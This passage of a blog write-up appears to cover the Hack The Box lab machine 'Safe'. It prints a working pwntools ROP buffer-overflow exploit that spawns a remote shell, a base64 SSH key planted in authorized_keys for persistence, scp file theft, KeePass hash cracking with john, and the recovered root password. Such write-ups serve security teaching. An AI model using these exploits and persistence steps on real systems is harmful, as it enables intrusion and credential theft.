113: wint_t __GI__IO_wfile_underflow(FILE *);
958: size_t __GI__IO_wfile_xsputn(FILE *, const void *, size_t);
395: static wint_t _IO_wfile_underflow_maybe_mmap(FILE *);
334: static wint_t _IO_wfile_underflow_mmap(FILE *);
547: static int adjust_wide_data(FILE *, _Bool);

File wgenops.c:
536: unsigned int _IO_adjust_wcolumn(unsigned int, const wchar_t *, int);
546: void _IO_init_wmarker(struct _IO_marker *, FILE *);
581: int _IO_seekwmark(FILE *, struct _IO_marker *, int);
516: wint_t _IO_sungetwc(FILE *);
602: void _IO_unsave_wmarkers(FILE *);
566: int _IO_wmarker_delta(struct _IO_marker *);
418: void __GI__IO_free_wbackup_area(FILE *);
42: ssize_t __GI__IO_least_wmarker(FILE *, wchar_t *);
495: wint_t __GI__IO_sputbackwc(FILE *, wint_t);
55: void __GI__IO_switch_to_main_wget_area(FILE *);
75: void __GI__IO_switch_to_wbackup_area(FILE *);
394: int __GI__IO_switch_to_wget_mode(FILE *);
380: int __GI__IO_wdefault_doallocate(FILE *);
172: void __GI__IO_wdefault_finish(FILE *, int);
109: wint_t __GI__IO_wdefault_pbackfail(FILE *, wint_t);
201: wint_t __GI__IO_wdefault_uflow(FILE *);
327: size_t __GI__IO_wdefault_xsgetn(FILE *, void *, size_t);
284: size_t __GI__IO_wdefault_xsputn(FILE *, const void *, size_t);
366: void __GI__IO_wdoallocbuf(FILE *);
94: void __GI__IO_wsetb(FILE *, wchar_t *, wchar_t *, int);
213: wint_t __GI___woverflow(FILE *, wint_t);
223: wint_t __GI___wuflow(FILE *);
253: wint_t __GI___wunderflow(FILE *);
430: static int save_for_wbackup(wchar_t *, FILE *, FILE *);

File wmemcpy.c:
24: wchar_t *__wmemcpy(wchar_t *, const wchar_t *, size_t);

File wmemcpy_chk.c:
24: wchar_t *__wmemcpy_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wmemmove.c:
24: wchar_t *__wmemmove(wchar_t *, const wchar_t *, size_t);

File wmemmove_chk.c:
24: wchar_t *__wmemmove_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wmempcpy.c:
24: wchar_t *__wmempcpy(wchar_t *, const wchar_t *, size_t);

File wmempcpy_chk.c:
24: wchar_t *__wmempcpy_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wmemstream.c:
65: FILE *open_wmemstream(wchar_t **, size_t *);
128: static void _IO_wmem_finish(FILE *, int);
109: static int _IO_wmem_sync(FILE *);

File wordexp.c:
2205: void __GI_wordfree(wordexp_t *);
2227: int wordexp(const char *, wordexp_t *, int);
631: static int eval_expr(char *, long *);
591: static int eval_expr_multdiv(char **, long *);
557: static int eval_expr_val(char **, long *);
874: static int exec_comm(char *, char **, size_t *, size_t *, int, wordexp_t *, const char *, const char *);
667: static int parse_arith(char **, size_t *, size_t *, const char *, size_t *, int, int);
197: static int parse_backslash(char **, size_t *, size_t *, const char *, size_t *);
2080: static int parse_backtick(char **, size_t *, size_t *, const char *, size_t *, int, wordexp_t *, const char *, const char *);
2022: static int parse_dollars(char **, size_t *, size_t *, const char *, size_t *, int, wordexp_t *, const char *, const char *, int);
225: static int parse_qtd_backslash(char **, size_t *, size_t *, const char *, size_t *);
267: static int parse_tilde(char **, size_t *, size_t *, const char *, size_t *, size_t);
91: static char *w_addchar(char *, size_t *, size_t *, char);
117: static char *w_addmem(char *, size_t *, size_t *, const char *, size_t);
143: static char *w_addstr(char *, size_t *, size_t *, const char *);
157: static int w_addword(wordexp_t *, char *);

File wprintf.c:
26: int __wprintf(const wchar_t *, …);

File wprintf_chk.c:
24: int __wprintf_chk(int, const wchar_t *, …);

File wscanf.c:
32: int __wscanf(const wchar_t *, …);

File wstrops.c:
157: ssize_t _IO_wstr_count(FILE *);
353: void _IO_wstr_finish(FILE *, int);
35: void _IO_wstr_init_static(FILE *, wchar_t *, size_t, wchar_t *);
70: wint_t _IO_wstr_overflow(FILE *, wint_t);
345: wint_t _IO_wstr_pbackfail(FILE *, wint_t);
252: off64_t _IO_wstr_seekoff(FILE *, off64_t, int, int);
138: wint_t _IO_wstr_underflow(FILE *);
168: static int enlarge_userbuf(FILE *, off64_t, int);

File xcrypt.c:
80: void __GI_passwd2des_internal(char *, char *);
139: int __GI_xdecrypt(char *, char *);
107: int __GI_xencrypt(char *, char *);
174: static void hex2bin(int, char *, char *);

File xdr.c:
449: bool_t __GI_xdr_bool(XDR *, bool_t *);
594: bool_t __GI_xdr_bytes(XDR *, char **, u_int *, u_int);
405: bool_t __GI_xdr_char(XDR *, char *);
482: bool_t __GI_xdr_enum(XDR *, enum_t *);
67: void __GI_xdr_free(xdrproc_t, char *);
245: bool_t __GI_xdr_hyper(XDR *, quad_t *);
98: bool_t __GI_xdr_int(XDR *, int *);
179: bool_t __GI_xdr_long(XDR *, long *);
313: bool_t __GI_xdr_longlong_t(XDR *, quad_t *);
656: bool_t __GI_xdr_netobj(XDR *, struct netobj *);
539: bool_t __GI_xdr_opaque(XDR *, caddr_t, u_int);
338: bool_t __GI_xdr_short(XDR *, short *);
734: bool_t __GI_xdr_string(XDR *, char **, u_int);
427: bool_t __GI_xdr_u_char(XDR *, u_char *);
281: bool_t __GI_xdr_u_hyper(XDR *, u_quad_t *);
138: bool_t __GI_xdr_u_int(XDR *, u_int *);
207: bool_t __GI_xdr_u_long(XDR *, u_long *);
324: bool_t __GI_xdr_u_longlong_t(XDR *, u_quad_t *);
371: bool_t __GI_xdr_u_short(XDR *, u_short *);
679: bool_t __GI_xdr_union(XDR *, enum_t *, char *, const struct xdr_discrim *, xdrproc_t);
84: bool_t __GI_xdr_void(void);
815: bool_t __GI_xdr_wrapstring(XDR *, char **);

File xdr_array.c:
57: bool_t __GI_xdr_array(XDR *, caddr_t *, u_int *, u_int, u_int, xdrproc_t);
149: bool_t __GI_xdr_vector(XDR *, char *, u_int, u_int, xdrproc_t);

File xdr_float.c:
203: bool_t __GI_xdr_double(XDR *, double *);
84: bool_t __GI_xdr_float(XDR *, float *);

File xdr_intXX_t.c:
138: bool_t __GI_xdr_int16_t(XDR *, int16_t *);
98: bool_t __GI_xdr_int32_t(XDR *, int32_t *);
29: bool_t __GI_xdr_int64_t(XDR *, int64_t *);
186: bool_t __GI_xdr_int8_t(XDR *, int8_t *);
54: bool_t __GI_xdr_quad_t(XDR *, quad_t *);
90: bool_t __GI_xdr_u_quad_t(XDR *, u_quad_t *);
162: bool_t __GI_xdr_uint16_t(XDR *, uint16_t *);
116: bool_t __GI_xdr_uint32_t(XDR *, uint32_t *);
62: bool_t __GI_xdr_uint64_t(XDR *, uint64_t *);
210: bool_t __GI_xdr_uint8_t(XDR *, uint8_t *);

File xdr_mem.c:
73: void __GI_xdrmem_create(XDR *, const caddr_t, u_int, enum xdr_op);
94: static void xdrmem_destroy(XDR *);
137: static bool_t xdrmem_getbytes(XDR *, caddr_t, u_int);
215: static bool_t xdrmem_getint32(XDR *, int32_t *);
104: static bool_t xdrmem_getlong(XDR *, long *);
167: static u_int xdrmem_getpos(const XDR *);
196: static int32_t *xdrmem_inline(XDR *, u_int);
152: static bool_t xdrmem_putbytes(XDR *, const char *, u_int);
231: static bool_t xdrmem_putint32(XDR *, const int32_t *);
120: static bool_t xdrmem_putlong(XDR *, const long *);
176: static bool_t xdrmem_setpos(XDR *, u_int);

File xdr_rec.c:
138: void __GI_xdrrec_create(XDR *, u_int, u_int, caddr_t, int (*)(char *, char *, int), int (*)(char *, char *, int));
515: bool_t __GI_xdrrec_endofrecord(XDR *, bool_t);
490: bool_t __GI_xdrrec_eof(XDR *);
467: bool_t __GI_xdrrec_skiprecord(XDR *);
540: static bool_t flush_out(RECSTREAM *, bool_t);
576: static bool_t get_input_bytes(RECSTREAM *, caddr_t, int);
599: static bool_t set_input_fragment(RECSTREAM *);
624: static bool_t skip_input_bytes(RECSTREAM *, long);
401: static void xdrrec_destroy(XDR *);
251: static bool_t xdrrec_getbytes(XDR *, caddr_t, u_int);
411: static bool_t xdrrec_getint32(XDR *, int32_t *);
203: static bool_t xdrrec_getlong(XDR *, long *);
302: static u_int xdrrec_getpos(const XDR *);
368: static int32_t *xdrrec_inline(XDR *, u_int);
278: static bool_t xdrrec_putbytes(XDR *, const char *, u_int);
436: static bool_t xdrrec_putint32(XDR *, const int32_t *);
228: static bool_t xdrrec_putlong(XDR *, const long *);
328: static bool_t xdrrec_setpos(XDR *, u_int);

File xdr_ref.c:
119: bool_t __GI_xdr_pointer(XDR *, char **, u_int, xdrproc_t);
58: bool_t __GI_xdr_reference(XDR *, caddr_t *, u_int, xdrproc_t);

File xdr_sizeof.c:
129: unsigned long __GI_xdr_sizeof(xdrproc_t, void *);
102: static int harmless(void);
109: static void x_destroy(XDR *);
60: static u_int x_getpostn(const XDR *);
74: static int32_t *x_inline(XDR *, u_int);
53: static bool_t x_putbytes(XDR *, const char *, u_int);
45: static bool_t x_putlong(XDR *, const long *);
67: static bool_t x_setpostn(XDR *, u_int);

File xdr_stdio.c:
84: void __GI_xdrstdio_create(XDR *, FILE *, enum xdr_op);
100: static void xdrstdio_destroy(XDR *);
128: static bool_t xdrstdio_getbytes(XDR *, const caddr_t, u_int);
173: static bool_t xdrstdio_getint32(XDR *, int32_t *);
107: static bool_t xdrstdio_getlong(XDR *, long *);
146: static u_int xdrstdio_getpos(const XDR *);
158: static int32_t *xdrstdio_inline(XDR *, u_int);
137: static bool_t xdrstdio_putbytes(XDR *, const char *, u_int);
184: static bool_t xdrstdio_putint32(XDR *, const int32_t *);
118: static bool_t xdrstdio_putlong(XDR *, const long *);
152: static bool_t xdrstdio_setpos(XDR *, u_int);

File xpg-strerror.c:
27: int __xpg_strerror_r(int, char *, size_t);

File xpg_basename.c:
25: char *__xpg_basename(char *);

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 system@plt
0x0000000000401050 printf@plt
0x0000000000401060 gets@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401152 test
0x000000000040115f main
0x00000000004011b0 __libc_csu_init
0x0000000000401210 __libc_csu_fini
0x0000000000401214 _fini
0x00007ffff7fd6010 _dl_catch_exception@plt
0x00007ffff7fd6020 malloc@plt
0x00007ffff7fd6030 _dl_signal_exception@plt
0x00007ffff7fd6040 calloc@plt
0x00007ffff7fd6050 realloc@plt
0x00007ffff7fd6060 _dl_signal_error@plt
0x00007ffff7fd6070 _dl_catch_error@plt
0x00007ffff7fd6080 free@plt
0x00007ffff7fd4780 __vdso_clock_gettime
0x00007ffff7fd4780 clock_gettime
0x00007ffff7fd47f0 __vdso_gettimeofday
0x00007ffff7fd47f0 gettimeofday
0x00007ffff7fd4860 __vdso_time
0x00007ffff7fd4860 time
0x00007ffff7fd4870 __vdso_getcpu
0x00007ffff7fd4870 getcpu
0x00007ffff7e11010 *ABS*+0x8b490@plt
0x00007ffff7e11020 *ABS*+0xb7500@plt
0x00007ffff7e11030 *ABS*+0x8a750@plt
0x00007ffff7e11040 *ABS*+0xa48e0@plt
0x00007ffff7e11050 realloc@plt
0x00007ffff7e11060 *ABS*+0x8b8a0@plt
0x00007ffff7e11070 *ABS*+0x8cb70@plt
0x00007ffff7e11080 *ABS*+0x8b6f0@plt
0x00007ffff7e11090 __tls_get_addr@plt
0x00007ffff7e110a0 *ABS*+0x8b750@plt
0x00007ffff7e110b0 *ABS*+0x8ab90@plt
0x00007ffff7e110c0 *ABS*+0xa4a00@plt
0x00007ffff7e110d0 memalign@plt
0x00007ffff7e110e0 _dl_exception_create@plt
0x00007ffff7e110f0 *ABS*+0x8b3e0@plt
0x00007ffff7e11100 *ABS*+0x8b850@plt
0x00007ffff7e11110 *ABS*+0x90ed0@plt
0x00007ffff7e11120 __tunable_get_val@plt
0x00007ffff7e11130 *ABS*+0x8a710@plt
0x00007ffff7e11140 *ABS*+0x8a200@plt
0x00007ffff7e11150 *ABS*+0x8a8f0@plt
0x00007ffff7e11160 *ABS*+0xa4f20@plt
0x00007ffff7e11170 *ABS*+0xa4f20@plt
0x00007ffff7e11180 *ABS*+0xa60e0@plt
0x00007ffff7e11190 *ABS*+0x8b950@plt
0x00007ffff7e111a0 *ABS*+0x8a2c0@plt
0x00007ffff7e111b0 *ABS*+0xa4e50@plt
0x00007ffff7e111c0 *ABS*+0x8b800@plt
0x00007ffff7e111d0 _dl_find_dso_for_object@plt
0x00007ffff7e111e0 *ABS*+0x8a320@plt
0x00007ffff7e111f0 *ABS*+0x8a750@plt
0x00007ffff7e11200 *ABS*+0xa48e0@plt
0x00007ffff7e11210 calloc@plt
0x00007ffff7e11220 *ABS*+0x8b550@plt
0x00007ffff7e11230 *ABS*+0x8a250@plt
0x00007ffff7e11240 *ABS*+0x8a7f0@plt
0x00007ffff7e11250 *ABS*+0x8b420@plt
0x00007ffff7e11260 *ABS*+0x8b5f0@plt
0x00007ffff7e11270 *ABS*+0xa4920@plt
0x00007ffff7e11280 *ABS*+0xa4e50@plt
0x00007ffff7e11290 *ABS*+0x8cb30@plt
0x00007ffff7e112a0 *ABS*+0xb7410@plt
0x00007ffff7e112b0 *ABS*+0x8a8b0@plt
0x00007ffff7e112c0 *ABS*+0x8a1a0@plt
0x00007ffff7e112d0 *ABS*+0x8b7b0@plt
0x00007ffff7e112e0 *ABS*+0x8a850@plt
0x00007ffff7e112f0 *ABS*+0x8b490@plt
0x00007ffff7e11300 __libpthread_freeres@plt
0x00007ffff7e11308 malloc@plt
0x00007ffff7e11310 __libdl_freeres@plt
0x00007ffff7e11318 free@plt
gef➤ disass test
Dump of assembler code for function test:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
0x000000000040115c <+10>: nop
0x000000000040115d <+11>: pop rbp
0x000000000040115e <+12>: ret
End of assembler dump.


root@kali:~/Downloads# gedit exploit.py

from pwn import *

context(terminal=[“tmux”, “new-windows”])
context(os=”linux”, arch=”amd64″)

myapp = ELF(“./myapp”)
p = remote(“10.10.10.147”, 1337)

bss = myapp.bss()
junk = ‘A’ * 120

# Show me the shell
rop = ROP(myapp)
rop.gets(bss)
rop.system(bss)

payload = junk + str(rop) + “/bin/bash\n” + “bash\n”

p.send(payload)
p.interactive()

save it


root@kali:~/Downloads# python exploit.py
[*] ‘/root/Downloads/myapp’
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Loading gadgets for ‘/root/Downloads/myapp’
[*] Switching to interactive mode
01:40:04 up 3:51, 0 users, load average: 0.00, 0.01, 0.00
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux


$ cd /home
$ ls -lrt
total 4
drwxr-xr-x 3 user user 4096 Oct 27 23:12 user
$ cd user
$ ls -lrt
total 11264
-rwxr-xr-x 1 user user 16592 May 13 08:47 myapp
-rw——- 1 user user 33 May 13 09:25 user.txt
-rw-r–r– 1 user user 1907614 May 13 11:15 IMG_0545.JPG
-rw-r–r– 1 user user 1916770 May 13 11:15 IMG_0546.JPG
-rw-r–r– 1 user user 2529361 May 13 11:15 IMG_0547.JPG
-rw-r–r– 1 user user 2926644 May 13 11:15 IMG_0548.JPG
-rw-r–r– 1 user user 1125421 May 13 11:15 IMG_0552.JPG
-rw-r–r– 1 user user 1085878 May 13 11:15 IMG_0553.JPG
-rw-r–r– 1 user user 2446 May 13 11:15 MyPasswords.kdbx
-rw-r–r– 1 user user 67 Oct 27 23:13 pty.pl
$ cat user.txt
7a29ee9b0faXXXXXXXXXXXXXXXXXXXXXXXX

$ echo “c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEY2pLeDV0RWdjMmIvcGRTVDZrenhPZDdwTnk1TWRYYkJsQVlxT1YrZEVyMTZNM1hNS2k5OUllUUVFamJzSlpaTnBBZGM0RVNZMURJcDNTQXNmVDk2L2lSemJGbVNsRGJ6TXJyLzQzYTkyOUwxSlEzcjRJZFVDc09HZjUvT2JldDdPY3FMWkNSKzBTV3hvc3kybWQvQnlLQVNYZVJobVByVjFLbWZHQWpJb3ZEZ1JtbmVyU1U0c0JYVWVPajd4SE1jaE9EOUEyYTZLRWxYL3doZ0hybHdYWndra3lFbUkwSm1NVi9ST25sVGJMR0l4WGJ3THNSZDBjUGZ6L2dtSjJ4dHFkazQwY1dhelhRZllIQmtObzZyT1hQMktjS2ptcnFUUm93WDZMNHg3ZDhjTmdrdjJXTUFzMUtlYjhuaWMxV1Z6cTdKNENHZTcxTzRTeEczUFJGbVNmZC9WSkhNNEpmeDc4a2ljMkt0RmpnZEczckI5cVE5cHVDd1hicmZMN1pCMVdUY2NuRWhPT1A0RTRGUUZKeXRMV0Vwc0xDT3FGZ1hlSllWVWJVR2VkT0VYeVBLeVBTVm9CRXAvbWJRNXFWaFhvTFJhM1V2dCtDMk9UNW9EUS8wWE1STVZXajRsVHNpSTV4M1dkR2M4TGUrZlRpeGFUYzNJcmJyejJ2ckJaL2s9IHJvb3RAa2FsaQo=” | base64 -d >> /home/user/.ssh/authorized_keys


now on another terminal


root@kali:~/.ssh# ssh -i id_rsa user@10.10.10.147
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 28 00:31:35 2019 from 10.10.14.29
user@safe:~$


user@safe:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)


user@safe:~$ ls
IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG myapp MyPasswords.kdbx pty.pl user.txt

on another terminal

root@kali# scp -i ~/id_rsa user@10.10.10.147:~/IMG* .

IMG_0545.JPG 100% 1863KB 944.7KB/s 00:01
IMG_0546.JPG 100% 1872KB 1.6MB/s 00:01
IMG_0547.JPG 100% 2470KB 2.0MB/s 00:01
IMG_0548.JPG 100% 2858KB 1.5MB/s 00:01
IMG_0552.JPG 100% 1099KB 1.6MB/s 00:00
IMG_0553.JPG 100% 1060KB 2.3MB/s 00:00

root@kali# scp -i ~/id_rsa user@10.10.10.147:~/*.kdbx .
MyPasswords.kdbx 100% 2446 61.1KB/s 00:00


root@kali:~/.ssh# keepass2john MyPasswords.kdbx > MyPasswords.kdbx.john; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john


root@kali:~/.ssh# cat MyPasswords.kdbx.john
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*17c3509ccfb3f9bf864fca0bfaa9ab137c7fca4729ceed90907899eb50dd88ae
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*a22ce4289b755aaebc6d4f1b49f2430abb6163e942ecdd10a4575aefe984d162
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*d86a22408dcbba156ca37e6883030b1a2699f0da5879c82e422c12e78356390f
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*facad4962e8f4cb2718c1ff290b5026b7a038ec6de739ee8a8a2dd929c376794
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*7c83badcfe0cd581613699bb4254d3ad06a1a517e2e81c7a7ff4493a5f881cf2


root@kali# /opt/john/run/john MyPasswords.kdbx.john /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
Warning: only loading hashes of type “KeePass”, but also saw type “tripcode”
Use the “–format=tripcode” option to force loading hashes of that type instead
Warning: only loading hashes of type “KeePass”, but also saw type “descrypt”
Use the “–format=descrypt” option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64 OpenSSL])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 3 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
1g 0:00:01:20 0.47% 2/3 (ETA: 15:46:09) 0.01239g/s 91.21p/s 154.1c/s 154.1C/s emerald..francesco
Use the “–show” option to display all of the cracked passwords reliably
Session aborted

root@kali# kpcli –key IMG_0547.JPG –kdb MyPasswords.kdbx

Please provide the master password: bullshit

KeePass CLI (kpcli) v3.1 is ready for operation.
Type ‘help’ for a description of available commands.
Type ‘help <command>’ for details on individual commands.

kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show -f R
Recycle\ Bin/ Root\ password
kpcli:/MyPasswords> show -f Root\ password

Path: /MyPasswords/
Title: Root password
Uname: root
Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
URL:
Notes:


Shell as root :

user@safe:~$ su –
Password: u3v2249dl9ptv465cogl3cnpo3fyhk

root@safe:~# id
uid=0(root) gid=0(root) groups=0(root)


root@safe:~# cat root.txt
d7af235eb1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

@SAKSHAM DIXIT

Related Posts

COMMENTS

Leave a Reply

Your email address will not be published. Required fields are marked *